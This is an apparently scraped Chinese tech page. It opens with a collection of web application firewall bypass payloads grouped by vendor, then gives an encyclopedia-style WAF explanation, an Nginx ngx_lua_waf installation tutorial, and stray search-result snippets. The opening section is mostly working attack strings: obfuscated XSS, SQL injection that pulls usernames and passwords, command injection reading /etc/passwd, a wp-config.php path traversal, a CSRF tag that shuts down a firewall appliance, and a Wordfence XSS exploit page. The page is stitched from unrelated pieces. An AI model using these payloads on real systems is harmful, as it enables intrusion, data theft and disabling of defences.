    
    1%0bAND(SELECT%0b1%20FROM%20mysql.x)
    
    %40%40new%20union%23sqlmapsqlmap...%0Aselect%201,2,database%23sqlmap%0A%28%29
    
    %0Aselect%200x00%2C%200x41%20not%20like%2F*%2100000table_name*%2F%2C3%20from%20information_schema.tables%20limit%201
    

    Imperva

    <svg onload\r\n=$.globalEval("al"+"ert()");>
    
    <svg/onload=self[`aler`%2b`t`]`1`>
    anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
    
    %3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E
    
    <iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>
    <img/src=q onerror='new Function`al\ert\`1\``'>
    
    <object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>
    
    15 and '1'=(SELECT '1' FROM dual) and '0having'='0having'
    
    stringindatasetchoosen%%' and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like '%%dministrator' and rownum<=1 and PASSWORD like '0%') and '1%%'='1
    

    Kona SiteDefender

    %2522%253E%253Csvg%2520height%3D%2522100%2522%2520width%3D%2522100%2522%253E%2520%253Ccircle%2520cx%3D%252250%2522%2520cy%3D%252250%2522%2520r%3D%252240%2522%2520stroke%3D%2522black%2522%2520stroke-width%3D%25223%2522%2520fill%3D%2522red%2522%2520%2F%253E%2520%253C%2Fsvg%253E
    
    <body%20alt=al%20lang=ert%20onmouseenter="top['al'+lang](/PoC%20XSS%20Bypass%20by%20Jonathan%20Bouman/)"
    
    ?"></script><base%20c%3D=href%3Dhttps:\mysite>
    
    <abc/onmouseenter=confirm%60%60>
    
    %2522%253E%253C%2Fdiv%253E%253C%2Fdiv%253E%253Cbrute%2520onbeforescriptexecute%3D%2527confirm%28document.domain%29%2527%253E
    
    <style>@keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}&#x60;>
    
    <marquee+loop=1+width=0+onfinish='new+Function`al\ert\`1\``'>
    

    Profense

    Turn off Proface Machine

    <img src=https://host:2000/ajax.html?action=shutdown>
    

    Add a proxy

    <img src=https://10.1.1.199:2000/ajax.html?vhost_proto=http&vhost=vhost.com&vhost_port=80&rhost_proto=http&rhost=10.1.1.1&rhost_port=80&mode_pass=on&xmle=on&enable_file_upload=on&static_passthrough=on&action=add&do=save>
    
    https://host:2000/proxy.html?action=manage&main=log&show=deny_log&proxy=>"<script>alert(document.cookie)</script>
    
    %3CEvil%20script%20goes%20here%3E=%0AByPass
    %3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E 
    

    QuickDefense

    ?<input type="search" onsearch="aler\u0074(1)">
    <details ontoggle=alert(1)>
    

    Sucuri

    /???/??t+/???/??ss??
    
    ;+cat+/e'tc/pass'wd
    c\\a\\t+/et\\c/pas\\swd
    
    "><input/onauxclick="[1].map(prompt)">
    
    data:text/html,<form action=https://brutelogic.com.br/xss-cp.php method=post>
    <input type=hidden name=a value="<img/src=//knoxss.me/yt.jpg onpointerenter=alert`1`>">
    <input type=submit></form>
    

    URLScan

    http://host.com/test.asp?file=.%./bla.txt
    

    WebARX

    <a69/onauxclick=open&#40&#41>rightclickhere
    

    WebKnight

    <isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
    <marquee/onstart=confirm(2)>
    <details ontoggle=alert(1)>
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
    <img src=x onwheel=prompt(1)>
    
    0 union(select 1,username,password from(users))
    0 union(select 1,@@hostname,@@datadir)
    
    <details ontoggle=alert(1)>
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
    
    10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)
    

    Wordfence

    <a href=javas&#99;ript:alert(1)>
    
    <a/**/href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At&colon;/**/alert()/**/>click
    
    http://host/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
    
    <html>
    <head>
    <title>Wordfence Security XSS exploit (C) 2012 MustLive. 
    http://websecurity.com.ua</title>
    </head>
    <body onLoad="document.hack.submit()">
    <form name="hack" action="http://site/?_wfsf=unlockEmail" method="post">
    <input type="hidden" name="email" 
    value="<script>alert(document.cookie)</script>">
    </form>
    </body>
    </html>
    
    <meter onmouseover="alert(1)"
    '">><div><meter onmouseover="alert(1)"</div>"
    >><marquee loop=1 width=0 onfinish=alert(1)>
    

    Apache Generic

    • Writing method type in lowercase by @i_bo0om
    get /login HTTP/1.1
    Host: favoritewaf.com
    User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
    

    IIS Generic

        GET /login.php HTTP/1.1
    Host: favoritewaf.com
    User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
    

    Awesome 工具

    指纹识别:

    • WAFW00F - The ultimate WAF fingerprinting tool with the largest fingerprint database from @EnableSecurity.
    • IdentYwaf - A blind WAF detection tool which utlises a unique method of identifying WAFs based upon previously collected fingerprints by @stamparm.

    测试:

    绕过手法:

    Blogs and Writeups

    Video Presentations

    Presentations & Research Papers

    Research Papers:

    Presentations:

    展开全文
  • 基于WAF中文字符识别,用于垃圾邮件图像过滤
  • WAF

    2019-06-13 17:29:28
    Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。...中文名 Web应用防护系统 外文名 WAF 又称 网站应用级入侵防御系统 功能 专门为Web应用提供保护 目...

    Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

    中文名

    Web应用防护系统

    外文名

    WAF

    又    称

    网站应用级入侵防御系统

    功    能

    专门为Web应用提供保护

    目录

    1. 产生背景
    2. 应用功能
    3. ▪ 审计设备
    4. ▪ 访问控制设备
    5. ▪ 架构/网络设计工具
    1. ▪ WEB应用加固工具
    2. 特点
    3. ▪ 异常检测协议
    4. ▪ 增强的输入验证
    5. ▪ 及时补丁
    6. ▪ 基于规则的保护和基于异常的保护
    1. ▪ 状态管理
    2. ▪ 其他防护技术
    3. 编译系统

    产生背景

    编辑

    当WEB应用越来越为丰富的同时,WEB 服务器以其强大的计算能力、处理性能及蕴含的较高价值逐渐成为主要攻击目标。SQL注入、网页篡改、网页挂马等安全事件,频繁发生。2007年,国家计算机网络应急技术处理协调中心(简称CNCERT/CC)监测到中国大陆被篡改网站总数累积达61228个,比2006年增加了1.5倍。其中,中国大陆政府网站被篡改各月累计达4234个。

    企业等用户一般采用防火墙作为安全保障体系的第一道防线。但是,在现实中,他们存在这样那样的问题,由此产生了WAF(Web应用防护系统)。Web应用防护系统(Web Application Firewall, 简称:WAF)代表了一类新兴的信息安全技术,用以解决诸如防火墙一类传统设备束手无策的Web应用安全问题。与传统防火墙不同,WAF工作在应用层,因此对Web应用防护具有先天的技术优势。基于对Web应用业务和逻辑的深刻理解,WAF对来自Web应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予以实时阻断,从而对各类网站站点进行有效防护。

    应用功能

    编辑

    审计设备


      对于系统自身安全相关的下列事件产生审计记录:

    (1)管理员登陆后进行的操作行为;

    (2) 对安全策略进行添加、修改、删除等操作行为;

    (3) 对管理角色进行增加、删除和属性修改等操作行为;

    (4) 对其他安全功能配置参数的设置或更新等行为。

    访问控制设备

    用来控制对Web应用的访问,既包括主动安全模式也包括被动安全模式。

    架构/网络设计工具

    当运行在反向代理模式,他们被用来分配职能,集中控制,虚拟基础结构等。

    WEB应用加固工具

    这些功能增强被保护Web应用的安全性,它不仅能够屏蔽WEB应用固有弱点,而且 能够保护WEB应用编程错误导致的安全隐患。

    需要指出的是,并非每种被称为Web应用防火墙的设备都同时具有以上四种功能。

    同时WEB应用防火墙还具有多面性的特点。比如从网络入侵检测的角度来看可以把WAF看成运行在HTTP层上的IDS设备;从防火墙角度来看,WAF是一种防火墙的功能模块;还有人把WAF看作“深度检测防火墙”的增强。(深度检测防火墙通常工作在的网络的第三层以及更高的层次,而Web应用防火墙则在第七层处理HTTP服务并且更好地支持它。)

    特点

    编辑

    异常检测协议

    Web应用防火墙会对HTTP的请求进行异常检测,拒绝不符合HTTP标准的请求。并且,它也可以只允许HTTP协议的部分选项通过,从而减少攻击的影响范围。甚至,一些Web应用防火墙还可以严格限定HTTP协议中那些过于松散或未被完全制定的选项。

    增强的输入验证

    增强输入验证,可以有效防止网页篡改、信息泄露、木马植入等恶意网络入侵行为。从而减小Web服务器被攻击的可能性。

    环境部署结构图 TecNova-WAF部署拓扑环境部署结构图 TecNova-WAF部署拓扑

    及时补丁

    修补Web安全漏洞,是Web应用开发者最头痛的问题,没人会知道下一秒有什么样的漏洞出现,会为Web应用带来什么样的危害。WAF可以为我们做这项工作了——只要有全面的漏洞信息WAF能在不到一个小时的时间内屏蔽掉这个漏洞。当然,这种屏蔽掉漏洞的方式不是非常完美的,并且没有安装对应的补丁本身就是一种安全威胁,但我们在没有选择的情况下,任何保护措施都比没有保护措施更好。

    (附注:及时补丁的原理可以更好的适用于基于XML的应用中,因为这些应用的通信协议都具规范性。)

    基于规则的保护和基于异常的保护

    基于规则的保护可以提供各种Web应用的安全规则,WAF生产商会维护这个规则库,并时时为其更新。用户可以按照这些规则对应用进行全方面检测。还有的产品可以基于合法应用数据建立模型,并以此为依据判断应用数据的异常。但这需要对用户企业的应用具有十分透彻的了解才可能做到,可现实中这是十分困难的一件事情。

    状态管理

    WAF能够判断用户是否是第一次访问并且将请求重定向到默认登录页面并且记录事件。通过检测用户的整个操作行为我们可以更容易识别攻击。状态管理模式还能检测出异常事件(比如登陆失败),并且在达到极限值时进行处理。这对暴力攻击的识别和响应是十分有利的。

    其他防护技术

    WAF还有一些安全增强的功能,可以用来解决WEB程序员过分信任输入数据带来的问题。比如:隐藏表单域保护、抗入侵规避技术、响应监视和信息泄露保护。

    编译系统

     

    Waf Build Tool

    是基于python的开源编译系统,

    Waf is an open-source build system that is based on Python. It has a number of qualities that make it very attractive to use on our team: it is quite fast, has a very strong dependency model, and is flexible enough to support all of the custom tools and file formats that are used in our build process.

    展开全文
  • Imperva-WAF用户手册(中文版)
  • Nginx 配置支持 WAF

    2019-09-30 14:52:07
    WAF(Web Application Firewall),中文名叫做“Web应用防火墙” WAF的定义是这样的:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品,通过从上面对WAF的定义中, 我们...

    WAF(Web Application Firewall),中文名叫做“Web应用防火墙”

    WAF的定义是这样的:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品,通过从上面对WAF的定义中,

    我们可以很清晰地了解到:WAF是一种工作在应用层的、通过特定的安全策略来专门为Web应用提供安全防护的产品。

    ngx_lua_waf是一个基于ngx_lua的web应用防火墙。

    # ngx_lua_waf用途:

      防止sql注入,本地包含,部分溢出,fuzzing测试,xss,SSRF等web攻击

      防止svn/备份之类文件泄露

      防止ApacheBench之类的压力测试工具的攻击

      屏蔽常见的黑客扫描工具,扫描器

      屏蔽异常的网络请求

      屏蔽图片附件类目录PHP执行权限

      防止webshell上传

    # 安装

      1、部署环境说明:  

    [root@localhost ~]# cat /etc/redhat-release 
    CentOS Linux release 7.5.1804 (Core)

      [root@localhost ~]# uname -r
      3.10.0-862.el7.x86_64

      2、安装依赖包:

    yum -y install gcc gcc-c++ autoconf automake make unzip
    yum -y install zlib zlib-devel openssl openssl-devel pcre pcre-devel

      3、安装LuaJIT2.0(LuaJIT是采用C语言写的Lua代码的解释器 这里推荐使用lujit2.1做lua支持)

    下载luajit 2.0并安装
    [root@localhost ~]# cd /usr/local/src/
    [root@localhost src]# wget http://luajit.org/download/LuaJIT-2.0.5.tar.gz
    [root@localhost src]# tar xf LuaJIT-2.0.5.tar.gz
    [root@localhost src]# cd LuaJIT-2.0.5
    [root@localhost LuaJIT-2.0.5]# make && make install

      4、安装ngx_devel_kit(NDK(nginx development kit)模块是一个拓展nginx服务器核心功能的模块,第三方模块开发可以基于它来快速实现。)

    [root@localhost src]# wget https://github.com/simplresty/ngx_devel_kit/archive/v0.3.0.tar.gz
    [root@localhost src]# tar xf v0.3.0.tar.gz

      5、安装nginx_lua_module

    [root@localhost src]# wget https://github.com/openresty/lua-nginx-module/archive/v0.10.13.tar.gz
    [root@localhost src]# tar xf v0.10.13.tar.gz

      6、导入环境变量:

    echo "export LUAJIT_LIB=/usr/local/lib" >> /etc/profile
    echo "export LUAJIT_INC=/usr/local/include/luajit-2.0" >> /etc/profile
    source /etc/profile

      7、编译安装Nginx 

    [root@localhost ~]# cd /usr/local/src/
    [root@localhost src]# wget http://nginx.org/download/nginx-1.14.0.tar.gz
    [root@localhost src]# tar xf nginx-1.14.0.tar.gz  
    [root@localhost src]# cd nginx-1.14.0
    [root@localhost src]# useradd -s /sbin/nologin -M www
    [root@localhost nginx-1.14.0]# ./configure --user=www --group=www \
    --prefix=/usr/local/nginx-1.14.0 \
    --with-http_stub_status_module \
    --with-http_ssl_module \
    --with-http_gzip_static_module \
    --pid-path=/usr/local/nginx-1.14.0/nginx.pid \
    --with-http_realip_module \
    --add-module=/usr/local/src/ngx_devel_kit-0.3.0 \
    --add-module=/usr/local/src/lua-nginx-module-0.10.13 \
    --with-ld-opt="-Wl,-rpath,$LUAJIT_LIB"
    [root@localhost nginx-1.14.0]#make -j2
    [root@localhost nginx-1.14.0]# make install
    [root@localhost nginx-1.14.0]#ln -s /usr/local/nginx-1.14.0 /usr/local/nginx

     

      8、新建/usr/local/nginx/logs/hack/攻击日志目录,并赋予nginx用户对该目录的写入权限。

    mkdir -p /usr/local/nginx/logs/hack/
    chown -R www.www /usr/local/nginx/logs/hack/
    chmod -R 755 /usr/local/nginx/logs/hack/

      至此nginx支持WAF防护功能已经搭建完成!

    #使用说明:

      nginx配置文件路径为:/usr/local/nginx/conf/

      把ngx_lua_waf下载到conf目录下,解压命名为waf

    wget https://github.com/loveshell/ngx_lua_waf/archive/master.zip
    unzip master.zip -d /usr/local/nginx/conf/
    mv /usr/local/nginx/conf/ngx_lua_waf-master /usr/local/nginx/conf/waf

     

      在nginx.conf的http段添加下面这段:

        lua_package_path "/usr/local/nginx/conf/waf/?.lua";
        lua_shared_dict limit 10m;
        init_by_lua_file  /usr/local/nginx/conf/waf/init.lua; 
        access_by_lua_file /usr/local/nginx/conf/waf/waf.lua;

      配置config.lua里的waf规则目录(一般在waf/conf/目录下):

      RulePath = "/usr/local/nginx/conf/waf/wafconf/"   #绝对路径如有变动,需对应修改

      然后重启nginx即可

      ###配置文件详细说明:

    RulePath = "/usr/local/nginx/conf/waf/wafconf/"
        --规则存放目录
        attacklog = "off"
        --是否开启攻击信息记录,需要配置logdir
        logdir = "/usr/local/nginx/logs/hack/"
        --log存储目录,该目录需要用户自己新建,切需要nginx用户的可写权限
        UrlDeny="on"
        --是否拦截url访问
        Redirect="on"
        --是否拦截后重定向
        CookieMatch = "on"
        --是否拦截cookie攻击
        postMatch = "on" 
        --是否拦截post攻击
        whiteModule = "on" 
        --是否开启URL白名单
        black_fileExt={"php","jsp"}
        --填写不允许上传文件后缀类型
        ipWhitelist={"127.0.0.1"}
        --ip白名单,多个ip用逗号分隔
        ipBlocklist={"1.0.0.1"}
        --ip黑名单,多个ip用逗号分隔
        CCDeny="on"
        --是否开启拦截cc攻击(需要nginx.conf的http段增加lua_shared_dict limit 10m;)
        CCrate = "100/60"
        --设置cc攻击频率,单位为秒.
        --默认1分钟同一个IP只能请求同一个地址100次
        html=[[Please go away~~]]
        --警告内容,可在中括号内自定义
        备注:不要乱动双引号,区分大小写

       启动nginx: 

    /usr/local/nginx/sbin/nginx

     

    ###检查规则是否生效:

      部署完毕可以尝试如下命令:

    curl http://your_ip/test.php?id=../etc/passwd

    结果如下则说明规则生效(页面修改地址:/usr/local/nginx/conf/waf/config.lua):

     注意:默认,本机在白名单不过滤,可自行调整config.lua配置

    ###一些说明:
      
    过滤规则在wafconf下,可根据需求自行调整,每条规则需换行,或者用|分割
    
        args里面的规则get参数进行过滤的
        url是只在get请求url过滤的规则        
        post是只在post请求过滤的规则        
        whitelist是白名单,里面的url匹配到不做过滤        
        user-agent是对user-agent的过滤规则
    
    
    默认开启了get和post过滤,需要开启cookie过滤的,编辑waf.lua取消部分--注释即可
    
    日志文件名称格式如下:虚拟主机名_sec.log

     

    一键脚本:

    #!/bin/bash
    #Author: Template
    yum -y install gcc gcc-c++ autoconf automake make unzip wget
    yum -y install zlib zlib-devel openssl openssl-devel pcre pcre-devel
    cd /usr/local/src/
    
    [ ! -f "LuaJIT-2.0.5.tar.gz" ] && wget http://luajit.org/download/LuaJIT-2.0.5.tar.gz 
    [ ! -f "nginx-1.14.0.tar.gz" ] && wget http://nginx.org/download/nginx-1.14.0.tar.gz && 
    [ ! -f "v0.3.0.tar.gz" ] && wget https://github.com/simplresty/ngx_devel_kit/archive/v0.3.0.tar.gz 
    [ ! -f "v0.10.13.tar.gz" ] && wget https://github.com/openresty/lua-nginx-module/archive/v0.10.13.tar.gz
    [ ! -f "master.zip" ] && wget https://github.com/loveshell/ngx_lua_waf/archive/master.zip --no-check-certificate
    
    ls *.tar.gz | xargs -n 1  tar xf
    
    cd LuaJIT-2.0.5 && make && make install && cd ..
    
    echo "export LUAJIT_LIB=/usr/local/lib" >> /etc/profile && \
    echo "export LUAJIT_INC=/usr/local/include/luajit-2.0" >> /etc/profile
    source /etc/profile
    cd nginx-1.14.0 && useradd -s /sbin/nologin -M www
    ./configure --user=www --group=www \
    --prefix=/usr/local/nginx-1.14.0 \
    --with-http_stub_status_module \
    --with-http_ssl_module \
    --with-http_gzip_static_module \
    --pid-path=/usr/local/nginx-1.14.0/nginx.pid \
    --with-http_realip_module \
    --add-module=/usr/local/src/ngx_devel_kit-0.3.0 \
    --add-module=/usr/local/src/lua-nginx-module-0.10.13 \
    --with-ld-opt="-Wl,-rpath,$LUAJIT_LIB" && make -j8 && make install && ln -s /usr/local/nginx-1.14.0 /usr/local/nginx
    
    mkdir -p /usr/local/nginx/logs/hack/ && chown -R www.www /usr/local/nginx/logs/hack/ && chmod -R 755 /usr/local/nginx/logs/hack/
    
    sed -i '25 a lua_package_path \"/usr/local/nginx/conf/waf/?.lua\";\nlua_shared_dict limit 10m;\ninit_by_lua_file  /usr/local/nginx/conf/waf/init.lua;\naccess_by_lua_file /usr/local/nginx/conf/waf/waf.lua;' /usr/local/nginx/conf/nginx.conf
    
    cd /usr/local/src/ && unzip master.zip -d /usr/local/nginx/conf/ && mv /usr/local/nginx/conf/ngx_lua_waf-master /usr/local/nginx/conf/waf
    
    /usr/local/nginx/sbin/nginx

     

     

    参考地址:https://github.com/loveshell/ngx_lua_waf

     

    转载于:https://www.cnblogs.com/Template/p/9668305.html

    展开全文
  • 开源的waf

    2018-07-04 08:20:00
    modsecurity: http://www.modsecurity.org/ ... 中文手册:https://wenku.baidu.com/view/cc9f071252d380eb62946df0.html 转载于:https://www.cnblogs.com/alpha1981/p/926151...

    modsecurity:

    http://www.modsecurity.org/

    http://www.modsecurity.org/documentation.html

    中文手册:https://wenku.baidu.com/view/cc9f071252d380eb62946df0.html

    转载于:https://www.cnblogs.com/alpha1981/p/9261519.html

    展开全文
  • WAF技术以及SQL绕过

    千次阅读 2018-11-10 18:50:02
    WAF(Web Application Firewall)的中文名称叫做“Web应用防火墙”。 Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一种网络安全产品。WAF可以增大攻击者的攻击难度和攻击成本,...
  • WAF(Web Application Firewall),中文名称叫做“Web应用防火墙 WAF的定义是这样的:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品,通过从上面对WAF的定义中,我们...
  • nginx+lua搭建网站waf

    千次阅读 2016-12-05 15:10:32
    WAF,英文名称Web Application Firewall,中文叫做Web应用防护系统,也可以称为Web应用防火墙,可以抵御日常的sql注入、本地包含、CC攻击等,下面就介绍下nginx+lua的waf方案。安装Openrestycd /usr/local/ wget ...
  • 前言 对于项目里面只是使用代理等常用功能,在线安装即可,如需制定化模块,则推荐编译安装 PS:本文不仅仅包含Nginx相关的知识点,还包含了逆天学习方法(对待新事物的处理...Nginx Cookbook 中文版 https://huli...
  • 随着日志服务的仪表盘功能升级,阿里云WAF(Web应用防火墙)的日志分析中的运营中心中文版也做了一些升级,以便增强客户对于运营效果的洞察。 主要更新 拓扑布局 重新布局指标与趋势分布图表等,基于整个拓扑图层上...
  • 随着日志服务的仪表盘功能升级,阿里云WAF(Web应用防火墙)的日志分析中的运营中心中文版也做了一些升级,以便增强客户对于运营效果的洞察。 主要更新 拓扑布局 重新布局指标与趋势分布图表等,基于整个拓扑图层上...
  • 简介 本文档有所有package.json中必要的配置。它必须是真正的json,而不是js对象。...“scripts”:{“preinstall”: “node-waf clean || true; node-waf configure build”} 如果包的根目录有wscript文件,npm会默
  • 因为可操作的空间挺大的,也十分适合过各种WAF。下面就是解决两个常见问题的过程。希望可以帮到各位白帽子。 工具推荐:Cknife,跨平台版中国菜刀正式开源  但是使用过程中也遇到了一些小问题,被吐槽最多的就是...
  • 首先建立c++工程 NS3 将类似于ns-3.24 文件夹内的内容全部复制进NS3 然后在NS3目录下 使用 ./waf -d debug –enable-examples –enable-tests configure 建立配置文件 选择refresh 配置属性如下 但是编译的时候...
  • 从现在起,我们假定读者使用的工作环境为Linux或者仿Linux环境(Linux, Cygwin等等.) 并且已经安装了可用的GNU工具链,而且还安装了Mercurial(分布式版本控制系统)和Waf软件。细节已经在ns-3网页中详述过,参见以下链接...
  • 3.3 测试ns-3 你可以通过运行“./test.py -c core”脚本...这些测试可以被waf并行执行的,最后你可以看到如下的结果: 47 of 47 tests passed (47 passed, 0 failed, 0 crashed, 0 valgrind errors) 这是条相当...
  • 将1000错误和WAF拦截页面结合,使用户体验更好。 3.5sold.html为5秒盾旧版,现Cloudflare已提供新版,并已同步更新翻译。 :check_mark_button:欢迎使用新版5秒盾界面,文件名称:5s.html 4.下方“由Cloudflare...
  • SQLMap中文参数用户手册 sqlmap WAF绕过/tamper详解 这题还是很基本的注入,首先手工尝试 延时五秒显示,结果是和只输入1一样,很明显,这是一个注入点,然后sleep既然是有效果的,不烦试一试sqlmap ...
  • lua资料合集.rar

    2019-05-16 11:30:10
    使用openresty做WAF时收集的lua相关电子书,中文版英文版lua程序设计基本全了。
  • Bypassing-Web-Application-Firewall-Workshop-eBook中文版,介绍常见bypass WAF的技术和实现方法
  • 无需复杂配置的Nginx Web应用程序防火墙模块ngx_waf 简体中文一个用于nginx的Web应用程序防火墙模块,无需进行复杂的配置。 进度和更改日志快速跳转功能安装如何使用? 规则文件变量日志常见问题解答已知问题功能...
  • 有个很好的入门文章:https://support.kemptechnologies.com/hc/en-us/articles/209635223-How-to-write-a-WAF-rule-Modsecurity-Rule-Writing 另外附上中文的规则速查手册:...
  • waf开源及规则 入门指南 Web Hacking 101 中文版 浅入浅出Android安全 中文版 Android 渗透测试学习手册 中文版 Kali Linux Web渗透测试秘籍 中文版 Linux exploit 开发入门 burpsuite实战指南 渗透测试Node.js应用 ...
  • NS3仿真学习资料链接

    2020-05-05 11:43:13
    NS3学习资料下载地址 ...NS中文教程详解 NS3安装命令 NS3模拟无线网络通信 代码搜索:1:github,2:GitLab NS3会议 WNS3 NS3笔记 Google NS3交流(遇到问题可以去问问) 使用Waf编译NS3 NS3添加自定义模块 NS3中...
  • 中文: : 英文: : 主要特性 快速交付:基于Web的配置(Web化配置) 安全性 安全访问(Secure Access):一键启用HTTPS(一键启用HTTPS) 安全认证(安全认证): OAuth2:企业微信WxWork,钉钉DingTalk,飞...
  • Nmap 学习笔记(一)

    2019-05-10 21:14:24
    Nmap(Network Mapper,网络映射器)是一款开源的网络探测和安全审核工具,它可以用来快速进行主机探测与发现、端口开放情况、操作系统与指纹识别、WAF(防火墙)识别及常见漏洞扫描。 Nmap官方中文链接:...
  • 一:中国菜刀 ... 部分甚至全部权限,现在很...一般情况下,可能会被IDS,WAF,等扫描软件查杀,可以通过各种编码去绕过 二:蚁剑 蚁剑是开源的跨平台的网站管理工具,中文手册链接:https://doc.u0u.us/zh-hans/gett...

空空如也

空空如也

1 2
收藏数 36
精华内容 14
关键字:

waf中文